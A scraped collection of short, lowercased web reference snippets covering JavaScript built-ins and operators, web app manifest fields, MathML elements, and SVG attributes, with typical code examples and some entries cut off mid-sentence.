symbol.isconcatspreadable needs to be set to true in order to get a flattened array: let x = [1, 2, 3] let fakearray = { [symbol.isconcatspreadable]: true, length: 2, 0: 'hello', 1: 'world' } x.concat(fakearray) // [1, 2, 3, "hello", "world"] note: the length property is used to control the number of object properties to be added.
Symbol.keyFor() - JavaScript
examples using keyfor var globalsym = symbol.for('foo'); // create a new global symbol symbol.keyfor(globalsym); // "foo" var localsym = symbol(); symbol.keyfor(localsym); // undefined // well-known symbols are not symbols registered // in the global symbol registry symbol.keyfor(symbol.iterator) // undefined specifications specification ecmascript (ecma-262)the definition of 'symbol.keyfor' in that specification.
Symbol.matchAll - JavaScript
matchall writable no enumerable no configurable no examples using symbol.matchall let re = /[0-9]+/g; let str = '2016-01-02|2019-03-07'; const numbers = { *[symbol.matchall] (str) { for (const n of str.matchall(/[0-9]+/g)) yield n[0]; } }; console.log(array.from(str.matchall(numbers))); // array ["2016", "01", "02", "2019", "03", "07"] see string.prototype.matchall() and regexp.prototype[@@matchall]() for more examples.
Symbol.replace - JavaScript
eplace writable no enumerable no configurable no examples using symbol.replace class customreplacer { constructor(value) { this.value = value; } [symbol.replace](string) { return string.replace(this.value, '#!@?'); } } console.log('football'.replace(new customreplacer('foo'))); // expected output: "#!@?tball" specifications specification ecmascript (ecma-262)the definition of 'symbol.replace' in that specification.
Symbol.split - JavaScript
perty attributes of symbol.split writable no enumerable no configurable no examples custom reverse split class reversesplit { [symbol.split](string) { const array = string.split(' '); return array.reverse(); } } console.log('another one bites the dust'.split(new reversesplit())); // expected output: [ "dust", "the", "bites", "one", "another" ] specifications specification ecmascript (ecma-262)the definition of 'symbol.split' in that specification.
Symbol.prototype.toString() - JavaScript
no string concatenation while you can call tostring() on symbols, you cannot use string concatenation with them: symbol('foo') + 'bar' // typeerror: can't convert symbol to string examples using tostring symbol('desc').tostring() // "symbol(desc)" // well-known symbols symbol.iterator.tostring() // "symbol(symbol.iterator) // global symbols symbol.for('foo').tostring() // "symbol(foo)" specifications specification ecmascript (ecma-262)the definition of 'symbol.prototype.tostring' in that specification.
Symbol.prototype.valueOf() - JavaScript
examples using valueof const sym = symbol("example"); sym === sym.valueof(); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.prototype.valueof' in that specification.
TypedArray.prototype.slice() - JavaScript
polyfill since there is no global object with the name typedarray, polyfilling must be done on an "as needed" basis.
TypedArray.prototype.some() - JavaScript
polyfill since there is no global object with the name typedarray, polyfilling must be done on an "as needed" basis.
TypedArray.prototype.toLocaleString() - JavaScript
examples using tolocalestring var uint = new uint32array([2000, 500, 8123, 12, 4212]); uint.tolocalestring(); // if run in a de-de locale // "2.000,500,8.123,12,4.212" uint.tolocalestring('en-us'); // "2,000,500,8,123,12,4,212" uint.tolocalestring('ja-jp', { style: 'currency', currency: 'jpy' }); // "¥2,000,¥500,¥8,123,¥12,¥4,212" specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.tolocalestring' in that specification.
Uint16Array - JavaScript
in the case of the uint16array type: "uint16array".
Uint32Array - JavaScript
in the case of the uint32array type: "uint32array".
Uint8Array - JavaScript
in the case of the uint8array type: "uint8array".
Uint8ClampedArray - JavaScript
in the case of the uint8clampedarray type: "uint8clampedarray".
WeakMap() constructor - JavaScript
wm1.get(o2); // "azerty" wm2.get(o2); // undefined, because there is no key for o2 on wm2 wm2.get(o3); // undefined, because that is the set value wm1.has(o2); // true wm2.has(o2); // false wm2.has(o3); // true (even if the value itself is 'undefined') wm3.set(o1, 37); wm3.get(o1); // 37 wm1.has(o1); // true wm1.delete(o1); wm1.has(o1); // false specifications specification ecmascript (...
WeakMap.prototype.get() - JavaScript
examples using the get method var wm = new weakmap(); wm.set(window, 'foo'); wm.get(window); // returns "foo".
WeakRef.prototype.deref() - JavaScript
const tick = () => { // get the element from the weak reference, if it still exists const element = this.ref.deref(); if (element) { element.textcontent = ++this.count; } else { // the element doesn't exist anymore console.log("the element is gone."); this.stop(); this.ref = null; } }; specifications specification weakrefsthe definition of 'weakref.prototype.deref()' in that specification.
WeakSet.prototype.add() - JavaScript
examples using add var ws = new weakset(); ws.add(window); // add the window object to the weakset ws.has(window); // true // weakset only takes objects as arguments ws.add(1); // results in "typeerror: invalid value used in weak set" in chrome // and "typeerror: 1 is not a non-null object" in firefox specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.add' in that specification.
WeakSet - JavaScript
weaksets are ideal for this purpose: // execute a callback on everything stored inside an object function execrecursively(fn, subject, _refs = null){ if(!_refs) _refs = new weakset(); // avoid infinite recursion if(_refs.has(subject)) return; fn(subject); if("object" === typeof subject){ _refs.add(subject); for(let key in subject) execrecursively(fn, subject[key], _refs); } } const foo = { foo: "foo", bar: { bar: "bar" } }; foo.bar.baz = foo; // circular reference!
WebAssembly.CompileError() constructor - JavaScript
examples creating a new compileerror instance the following snippet creates a new compileerror instance, and logs its details to the console: try { throw new webassembly.compileerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof compileerror); // true console.log(e.message); // "hello" console.log(e.name); // "compileerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe de...
WebAssembly.CompileError - JavaScript
examples creating a new compileerror instance the following snippet creates a new compileerror instance, and logs its details to the console: try { throw new webassembly.compileerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof compileerror); // true console.log(e.message); // "hello" console.log(e.name); // "compileerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe de...
WebAssembly.LinkError() constructor - JavaScript
examples creating a new linkerror instance the following snippet creates a new linkerror instance, and logs its details to the console: try { throw new webassembly.linkerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof linkerror); // true console.log(e.message); // "hello" console.log(e.name); // "linkerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe defin...
WebAssembly.LinkError - JavaScript
examples creating a new linkerror instance the following snippet creates a new linkerror instance, and logs its details to the console: try { throw new webassembly.linkerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof linkerror); // true console.log(e.message); // "hello" console.log(e.name); // "linkerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe defin...
WebAssembly.Memory.prototype.grow() - JavaScript
var memory = new webassembly.memory({initial:1, maximum:10}); we can then grow the instance by one page like so: const bytesperpage = 64 * 1024; console.log(memory.buffer.bytelength / bytesperpage); // "1" console.log(memory.grow(1)); // "1" console.log(memory.buffer.bytelength / bytesperpage); // "2" note the return value of grow() here is the previous number of webassembly pages.
WebAssembly.Module.imports() - JavaScript
webassembly.compilestreaming(fetch('simple.wasm')) .then(function(mod) { var imports = webassembly.module.imports(mod); console.log(imports[0]); }); the output looks like this: { module: "imports", name: "imported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'imports()' in that specification.
WebAssembly.Module - JavaScript
var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread.
WebAssembly.RuntimeError() constructor - JavaScript
examples creating a new runtimeerror instance the following snippet creates a new runtimeerror instance, and logs its details to the console: try { throw new webassembly.runtimeerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof runtimeerror); // true console.log(e.message); // "hello" console.log(e.name); // "runtimeerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe de...
WebAssembly.RuntimeError - JavaScript
examples creating a new runtimeerror instance the following snippet creates a new runtimeerror instance, and logs its details to the console: try { throw new webassembly.runtimeerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof runtimeerror); // true console.log(e.message); // "hello" console.log(e.name); // "runtimeerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe de...
WebAssembly.Table.prototype.grow() - JavaScript
var table = new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification.
WebAssembly.Table.prototype.length - JavaScript
var table = new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'length' in that specification.
WebAssembly.Table.prototype.set() - JavaScript
var tbl = new webassembly.table({initial:2, element:"anyfunc"}); console.log(tbl.length); console.log(tbl.get(0)); console.log(tbl.get(1)); we then create an import object that contains a reference to the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming(), log the table length, and invoke the two referenced functions that are now stored in t...
WebAssembly.Table - JavaScript
var tbl = new webassembly.table({initial:2, element:"anyfunc"}); console.log(tbl.length); // "2" console.log(tbl.get(0)); // "null" console.log(tbl.get(1)); // "null" we then create an import object that contains the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming() method.
WebAssembly.compile() - JavaScript
var worker = new worker("wasm_worker.js"); fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => webassembly.compile(bytes) ).then(mod => worker.postmessage(mod) ); note: you'll probably want to use webassembly.compilestreaming() in most cases, as it is more efficient than compile().
WebAssembly.instantiate() - JavaScript
var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread.
globalThis - JavaScript
see the language proposal's "naming" document for more details.
isFinite() - JavaScript
(infinity); // false isfinite(nan); // false isfinite(-infinity); // false isfinite(0); // true isfinite(2e64); // true isfinite(910); // true isfinite(null); // true, would've been false with the // more robust number.isfinite(null) isfinite('0'); // true, would've been false with the // more robust number.isfinite("0") specifications specification ecmascript (ecma-262)the definition of 'isfinite' in that specification.
null - JavaScript
typeof null // "object" (not "null" for legacy reasons) typeof undefined // "undefined" null === undefined // false null == undefined // true null === null // true null == null // true !null // true isnan(1 + null) // false isnan(1 + undefined) // true specifications specification ecmascript (ecma-262)the definition of 'null value' in that specificat...
parseFloat() - JavaScript
examples parsefloat returning a number the following examples all return 3.14: parsefloat(3.14); parsefloat('3.14'); parsefloat(' 3.14 '); parsefloat('314e-2'); parsefloat('0.0314e+2'); parsefloat('3.14some non-digit characters'); parsefloat({ tostring: function() { return "3.14" } }); parsefloat returning nan the following example returns nan: parsefloat('ff2'); parsefloat and bigint the following examples both return 900719925474099300, losing precision as the integer is too large to be represented as a float: parsefloat(900719925474099267n); parsefloat('900719925474099267n'); specifications specification ecmascript (ecma-262)the de...
undefined - JavaScript
// don't do this // logs "foo string" (function() { var undefined = 'foo'; console.log(undefined, typeof undefined); })(); // logs "foo string" (function(undefined) { console.log(undefined, typeof undefined); })('foo'); examples strict equality and undefined you can use undefined and the strict equality and inequality operators to determine whether a variable has a value.
uneval() - JavaScript
examples using uneval var a = 1; uneval(a); // returns a string containing 1 var b = '1'; uneval(b); // returns a string containing "1" uneval(function foo() {}); // returns "(function foo(){})" var a = uneval(function foo() { return 'hi'; }); var foo = eval(a); foo(); // returns "hi" specifications not part of any standard.
Addition (+) - JavaScript
syntax operator: x + y examples numeric addition // number + number -> addition 1 + 2 // 3 // boolean + number -> addition true + 1 // 2 // boolean + boolean -> addition false + false // 0 string concatenation // string + string -> concatenation 'foo' + 'bar' // "foobar" // number + string -> concatenation 5 + 'foo' // "5foo" // string + boolean -> concatenation 'foo' + false // "foofalse" specifications specification ecmascript (ecma-262)the definition of 'addition operator' in that specification.
Addition assignment (+=) - JavaScript
syntax operator: x += y meaning: x = x + y examples using addition assignment // assuming the following variables // foo = 'foo' // bar = 5 // baz = true // number + number -> addition bar += 2 // 7 // boolean + number -> addition baz += 1 // 2 // boolean + boolean -> addition baz += false // 1 // number + string -> concatenation bar += 'foo' // "5foo" // string + boolean -> concatenation foo += false // "foofalse" // string + string -> concatenation foo += 'bar' // "foobar" specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Greater than (>) - JavaScript
examples string to string comparison console.log("a" > "b"); // false console.log("a" > "a"); // false console.log("a" > "3"); // true string to number comparison console.log("5" > 3); // true console.log("3" > 3); // false console.log("3" > 5); // false console.log("hello" > 5); // false console.log(5 > "hello"); // false console.log("5" > 3n); // true console.log("3" > 5n); ...
Greater than or equal (>=) - JavaScript
examples string to string comparison console.log("a" >= "b"); // false console.log("a" >= "a"); // true console.log("a" >= "3"); // true string to number comparison console.log("5" >= 3); // true console.log("3" >= 3); // true console.log("3" >= 5); // false console.log("hello" >= 5); // false console.log(5 >= "hello"); // false number to number comparison console.log(5 >= 3); // true console.log(3 ...
Less than (<) - JavaScript
examples string to string comparison console.log("a" < "b"); // true console.log("a" < "a"); // false console.log("a" < "3"); // false string to number comparison console.log("5" < 3); // false console.log("3" < 3); // false console.log("3" < 5); // true console.log("hello" < 5); // false console.log(5 < "hello"); // false console.log("5" < 3n); // false console.log("3" < 5n); ...
Less than or equal (<=) - JavaScript
examples string to string comparison console.log("a" <= "b"); // true console.log("a" <= "a"); // true console.log("a" <= "3"); // false string to number comparison console.log("5" <= 3); // false console.log("3" <= 3); // true console.log("3" <= 5); // true console.log("hello" <= 5); // false console.log(5 <= "hello"); // false number to number comparison console.log(5 <= 3); // false console.log(3...
Logical OR assignment (||=) - JavaScript
examples setting default content if the "lyrics" element is empty, set the innerhtml to a default value: document.getelementbyid('lyrics').innerhtml ||= '<i>no lyrics.</i>' here the short-circuit is especially beneficial, since the element will not be updated unnecessarily and won't cause unwanted side-effects such as additional parsing or rendering work, or loss of focus, etc.
Pipeline operator (|>) - JavaScript
the result is syntactic sugar in which a function call with a single argument can be written like this: let url = "%21" |> decodeuri; the equivalent call in traditional syntax looks like this: let url = decodeuri("%21"); syntax expression |> function the value of the specified expression is passed into the function as its sole parameter.
Unary negation (-) - JavaScript
const x = "4"; const y = -x; // y = -4 specifications specification ecmascript (ecma-262)the definition of 'unary negation operator' in that specification.
Function expression - JavaScript
var foo = function() {} foo.name // "foo" var foo2 = foo foo2.name // "foo" var bar = function baz() {} bar.name // "baz" console.log(foo === foo2); // true console.log(typeof baz); // undefined console.log(bar === baz); // false (errors because baz == undefined) examples creating an unnamed function the following example defines an unnamed function and assigns it to x.
yield* - JavaScript
function* g3() { yield* [1, 2]; yield* '34'; yield* array.from(arguments); } const iterator = g3(5, 6); console.log(iterator.next()); // {value: 1, done: false} console.log(iterator.next()); // {value: 2, done: false} console.log(iterator.next()); // {value: "3", done: false} console.log(iterator.next()); // {value: "4", done: false} console.log(iterator.next()); // {value: 5, done: false} console.log(iterator.next()); // {value: 6, done: false} console.log(iterator.next()); // {value: undefined, done: true} the value of yield* expression itself yield* is an expression, not a statement—so it evaluates to a value.
Expressions and operators - JavaScript
property accessors member operators provide access to a property or method of an object (object.property and object["property"]).
empty - JavaScript
in the following example, the usage is probably not intentional: if (condition); // caution, this "if" does nothing!
block - JavaScript
the block is delimited by a pair of braces ("curly brackets") and may optionally be labelled: the source for this interactive example is stored in a github repository.
for await...of - JavaScript
responsesize += chunk.length; } console.log(`response size: ${responsesize} bytes`); // expected output: "response size: 1071472" return responsesize; } getresponsesize('https://jsonplaceholder.typicode.com/photos'); iterating over sync iterables and generators for await...of loop also consumes sync iterables and generators.
for - JavaScript
de = document.getelementbyid(sid); /* initialization */ oitnode; /* condition */ nleft += oitnode.offsetleft, ntop += oitnode.offsettop, oitnode = oitnode.offsetparent /* final-expression */ ); /* semicolon */ console.log('offset position of \'' + sid + '\' element:\n left: ' + nleft + 'px;\n top: ' + ntop + 'px;'); } /* example call: */ showoffsetpos('content'); // output: // "offset position of "content" element: // left: 0px; // top: 153px;" note: this is one of the few cases in javascript where the semicolon is mandatory.
if...else - JavaScript
any value that is not false, undefined, null, 0, -0, nan, or the empty string (""), and any object, including a boolean object whose value is false, is considered truthy when used as the condition.
return - JavaScript
return a + b; is transformed by asi into: return; a + b; the console will warn "unreachable code after return statement".
switch - JavaScript
: console.log('apples are $0.32 a pound.'); break; case 'bananas': console.log('bananas are $0.48 a pound.'); break; case 'cherries': console.log('cherries are $3.00 a pound.'); break; case 'mangoes': case 'papayas': console.log('mangoes and papayas are $2.79 a pound.'); break; default: console.log('sorry, we are out of ' + expr + '.'); } console.log("is there anything else you'd like?"); what happens if i forgot a break?
with - JavaScript
see the "ambiguity contra" paragraph in the "description" section below for details.
background_color - Web app manifests
examples "background_color": "red" specification specification status comment feedback web app manifestthe definition of 'background_color' in that specification.
description - Web app manifests
examples simple description in left-to-right language: "description": "awesome application that will help you achieve your dreams." description in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "description": ".تطبيق رائع سيساعدك على تحقيق أحلامك" specification specification status comment feedback web app manifestthe definition of 'description' in that specification.
dir - Web app manifests
WebManifestdir
example "dir": "rtl", "lang": "ar", "short_name": "!أنا من التطبيق" specification specification status comment feedback web app manifestthe definition of 'dir' in that specification.
display - Web app manifests
(none) example "display": "standalone" specification specification status comment feedback web app manifestthe definition of 'display' in that specification.
iarc_rating_id - Web app manifests
examples "iarc_rating_id": "e84b072d-71b3-4d3e-86ae-31a8ce4e53b7" specification specification status comment feedback web app manifestthe definition of 'iarc_rating_id' in that specification.
icons - Web app manifests
examples "icons": [ { "src": "icon/lowres.webp", "sizes": "48x48", "type": "image/webp" }, { "src": "icon/lowres", "sizes": "48x48" }, { "src": "icon/hd_hi.ico", "sizes": "72x72 96x96 128x128 256x256" }, { "src": "icon/hd_hi.svg", "sizes": "72x72" } ] values image objects may contain the following values: member description sizes a st...
lang - Web app manifests
WebManifestlang
examples "lang": "en-us" specification specification status comment feedback web app manifestthe definition of 'lang' in that specification.
name - Web app manifests
WebManifestname
examples simple name in left-to-right language: "name": "awesome application" right-to-left name in arabic: "dir": "rtl", "lang": "ar", "name": "!أنا من التطبيق" specification specification status comment feedback web app manifestthe definition of 'name' in that specification.
orientation - Web app manifests
values orientation can take one of the following values: any natural landscape landscape-primary landscape-secondary portrait portrait-primary portrait-secondary examples "orientation": "portrait-primary" specification specification status comment feedback web app manifestthe definition of 'orientation' in that specification.
prefer_related_applications - Web app manifests
examples "prefer_related_applications": true specification specification status comment feedback web app manifestthe definition of 'prefer_related_applications' in that specification.
related_applications - Web app manifests
examples "related_applications": [ { "platform": "play", "url": "https://play.google.com/store/apps/details?id=com.example.app1", "id": "com.example.app1" }, { "platform": "itunes", "url": "https://itunes.apple.com/app/example-app1/id123456789" } ] related application values application objects may contain the following values: member description platfor...
scope - Web app manifests
examples if the scope is relative, the manifest url is used as a base url: "scope": "/app/" the following scope limits navigation to the current site: "scope": "https://example.com/" finally, the following example limits navigation to a subdirectory of the current site: "scope": "https://example.com/subdirectory/" specification specification status comment feedback web app manifestthe definition of 'scope' in that specification...
screenshots - Web app manifests
examples "screenshots" : [ { "src": "screenshot1.webp", "sizes": "1280x720", "type": "image/webp" }, { "src": "screenshot2.webp", "sizes": "1280x720", "type": "image/webp" } ] specification specification status comment feedback web app manifestthe definition of 'screenshots' in that specification.
serviceworker - Web app manifests
examples "serviceworker": { "src": "./serviceworker.js", "scope": "/app", "type": "", "update_via_cache": "none" } values service worker contain the following values (only src is required): member description src the url to download the service worker script from.
short_name - Web app manifests
examples simple short_name in left-to-right language: "name": "awesome application", "short_name": "awesome app" short_name in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "name": "تطبيق رائع", "short_name": "رائع" specification specification status comment feedback web app manifestthe definition of 'short_name' in that specification.
shortcuts - Web app manifests
examples the following is a list of shortcuts a calendar app might have: "shortcuts" : [ { "name": "today's agenda", "url": "/today", "description": "list of events planned for today" }, { "name": "new event", "url": "/create/event" }, { "name": "new reminder", "url": "/create/reminder" } ] specification specification status comment feedback web app manifestthe definition of 'shortcuts' in tha...
theme_color - Web app manifests
examples "theme_color": "red" specification specification status comment feedback web app manifestthe definition of 'theme_color' in that specification.
Values - MathML
(the "x"-height of the element, 1ex ≈ 0.5em in many fonts) px pixels in inches (1 inch = 2.54 centimeters) cm centimeters mm millimeters pt points (1 point = 1/72 inch) pc picas (1 pica = 12 points) % percentage of the default value.
<menclose> - MathML
+ b2 vertical strikeout line through contents horizontalstrike a2 + b2 horizontal strikeout line through contents madruwb a2 + b2 arabic factorial symbol updiagonalarrow a2 + b2 diagonal arrow phasorangle a2 + b2 phasor angle examples <math> <menclose notation="circle box"> <mi> x </mi> <mo> + </mo> <mi> y </mi> </menclose> </math> specifications specification status comment mathml 3.0the definition of 'menclose' in that specification.
<mfrac> - MathML
WebMathMLElementmfrac
examples sample rendering: your browser rendering: a b c d <math> <mfrac bevelled="true"> <mfrac> <mi> a </mi> <mi> b </mi> </mfrac> <mfrac> <mi> c </mi> <mi> d </mi> </mfrac> </mfrac> </math> specifications specification status comment mathml 3.0the definition of 'mfrac' in that specification.
<mglyph> - MathML
WebMathMLElementmglyph
examples <math> <mi><mglyph src="my-glyph.png" alt="my glyph"/></mi> </math> specifications specification status comment mathml 3.0the definition of 'mglyph' in that specification.
<mmultiscripts> - MathML
prescripts are optional and are separated by the empty tag <mprescripts/> (only one <mprescripts /> element is allowed, otherwise you will get an duplicatemprescripts error in the error console and "invalid-markup" in your rendering).
<mover> - MathML
WebMathMLElementmover
examples sample rendering: rendering in your browser: x + y + z ⏞ <math> <mover accent="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> &#x23de; <!--top curly bracket--> </mo> </mover> </math> specifications specification status comment mathml 3.0the definition of 'mover' in that specification.
<mspace> - MathML
WebMathMLElementmspace
examples <math> <mspace depth="40px" height="20px" /> <mspace width="100px" /> </math> specifications specification status comment mathml 3.0the definition of 'mspace' in that specification.
<msubsup> - MathML
examples sample rendering: rendering in your browser: ∫ 0 1 <math displaystyle="true"> <msubsup> <mo> &#x222b;<!--integral --> </mo> <mn> 0 </mn> <mn> 1 </mn> </msubsup> </math> specifications specification status comment mathml 3.0the definition of 'msubsup' in that specification.
<mtext> - MathML
WebMathMLElementmtext
that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography.
<munder> - MathML
WebMathMLElementmunder
examples sample rendering: rendering in your browser: x + y + z ⏟ <math> <munder accentunder="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> &#x23df; <!--bottom curly bracket--> </mo> </munder> </math> specifications specification status comment mathml 3.0the definition of 'munder' in that specification.
<munderover> - MathML
examples sample rendering: rendering in your browser: ∫ 0 ∞ <math displaystyle="true"> <munderover > <mo> &#x222b; <!--integral--> </mo> <mn> 0 </mn> <mi> &#x221e; <!--infinity--> </mi> </munderover> </math> specifications specification status comment mathml 3.0the definition of 'munderover' in that specification.
Handling media support issues in web content - Web media technologies
<img src="/images/stafff-photo-huge-progressive.jpg" alt="staff photo, taken in january of 1972"> when using a progressive image, the data is stored in such a way that the browser is able to render a low-quality representation of the image as soon as possible, then update the image as it loads—or after it's finished loading—to present it in full quality.
Media type and format guide: image, audio, and video content - Web media technologies
WebMediaFormats
the "codecs" parameter in common media types when specifying the mime type describing a media format, you can provide details using the codecs parameter as part of the type string.
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
this appears in the browser's internal ua stylesheet, similar to the following: img, input[type="image"], video, embed, iframe, marquee, object, table { aspect-ratio: attr(width) / attr(height); } this actually affects any element that acts as a container for complex or mixed visual media — <embed>, <iframe>, <marquee>, <object>, <table>, and <video>, in addition to actual images (<img> and <input type="image">).
Critical rendering path - Web Performance
on by-default full screen browsers, like your phone's browser, by setting <meta name="viewport" content="width=device-width">, the width will be the width of the device instead of the default viewport width.
Navigation and resource timings - Web Performance
you can also create marks: performance.getentriesbytype('navigation').foreach((navigation) => { console.dir(navigation); }); performance.getentriesbytype('resource').foreach((resource) => { console.dir(resource); }); performance.getentriesbytype('mark').foreach((mark) => { console.dir(mark); }); performance.getentriesbytype("measure").foreach((measure) => { console.dir(measure); }); performance.getentriesbytype('paint').foreach((paint) => { console.dir(paint); }); performance.getentriesbytype('frame').foreach((frame) => { console.dir(frame); }); in supporting browsers, you can use performance.getentriesbytype('paint') to query the measure for first-paint and first-contentful-paint.
Introduction to progressive web apps - Progressive web apps (PWAs)
the term "progressive web app" isn't a formal or official name.
SVG Event Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeEvents
event attributes always have their name starting with "on" followed by the name of the event for which they are intended.
attributeName - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value <name> default value none animatable no <name> this value indicates the name of the css property or attribute of the target element to be animated.
attributeType - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value css | xml | auto default value auto animatable no css this value specifies that the value of attributename is the name of a css property defined as animatable.
azimuth - SVG: Scalable Vector Graphics
WebSVGAttributeazimuth
only one element is using this attribute: <fedistantlight> html, body, svg { height: 100%; } <svg viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight azimuth="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight azimuth="240" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default...
baseProfile - SVG: Scalable Vector Graphics
only one element is using this attribute: <svg> context notes value profile name default value none animatable no example <svg width="120" height="120" version="1.1" xmlns="http://www.w3.org/2000/svg" baseprofile="full"> ...
by - SVG: Scalable Vector Graphics
WebSVGAttributeby
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributename="width" fill="freeze" by="50" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this attribute depends on the value of the attribute that will be animated.
calcMode - SVG: Scalable Vector Graphics
this is only supported for values that define a linear numeric range, and for which some notion of "distance" between points can be calculated (e.g.
clip - SVG: Scalable Vector Graphics
WebSVGAttributeclip
as a presentation attribute, it can be applied to any element but it has effect only on the following six elements: <svg>, <symbol>, <image>, <foreignobject>, <pattern>, <marker> html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- auto clipping --> <svg x="0" width="10" height="10" clip="auto"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> <!-- rect(top, right, bottom, left) clipping --> <svg x="10" width="10" height="10" clip="rect(1, 9, 8, 2)"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> </svg> usage notes warning: ...
color - SVG: Scalable Vector Graphics
WebSVGAttributecolor
usage notes value <color> | inherit default value depends on user agent animatable yes example html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <g color="green"> <rect width="50" height="50" fill="currentcolor" /> <circle r="25" cx="70" cy="70" stroke="currentcolor" fill="none" stroke-width="5" /> </g> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'color' in that specification.
direction - SVG: Scalable Vector Graphics
html, body, svg { height: 100%; } <svg viewbox="0 0 600 72" xmlns="http://www.w3.org/2000/svg" direction="rtl" lang="fa"> <text x="300" y="50" text-anchor="middle" font-size="36">داستان svg 1.1 se طولا ني است.</text> </svg> usage notes value ltr | rtl default value ltr animatable yes specifications specification status comment css writing mod...
dur - SVG: Scalable Vector Graphics
WebSVGAttributedur
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="3s" repeatcount="indefinite"/> </rect> </svg> usage notes value <clock-value> | media | indefinite default value indefinite animatable no <clock-value> this value spe...
elevation - SVG: Scalable Vector Graphics
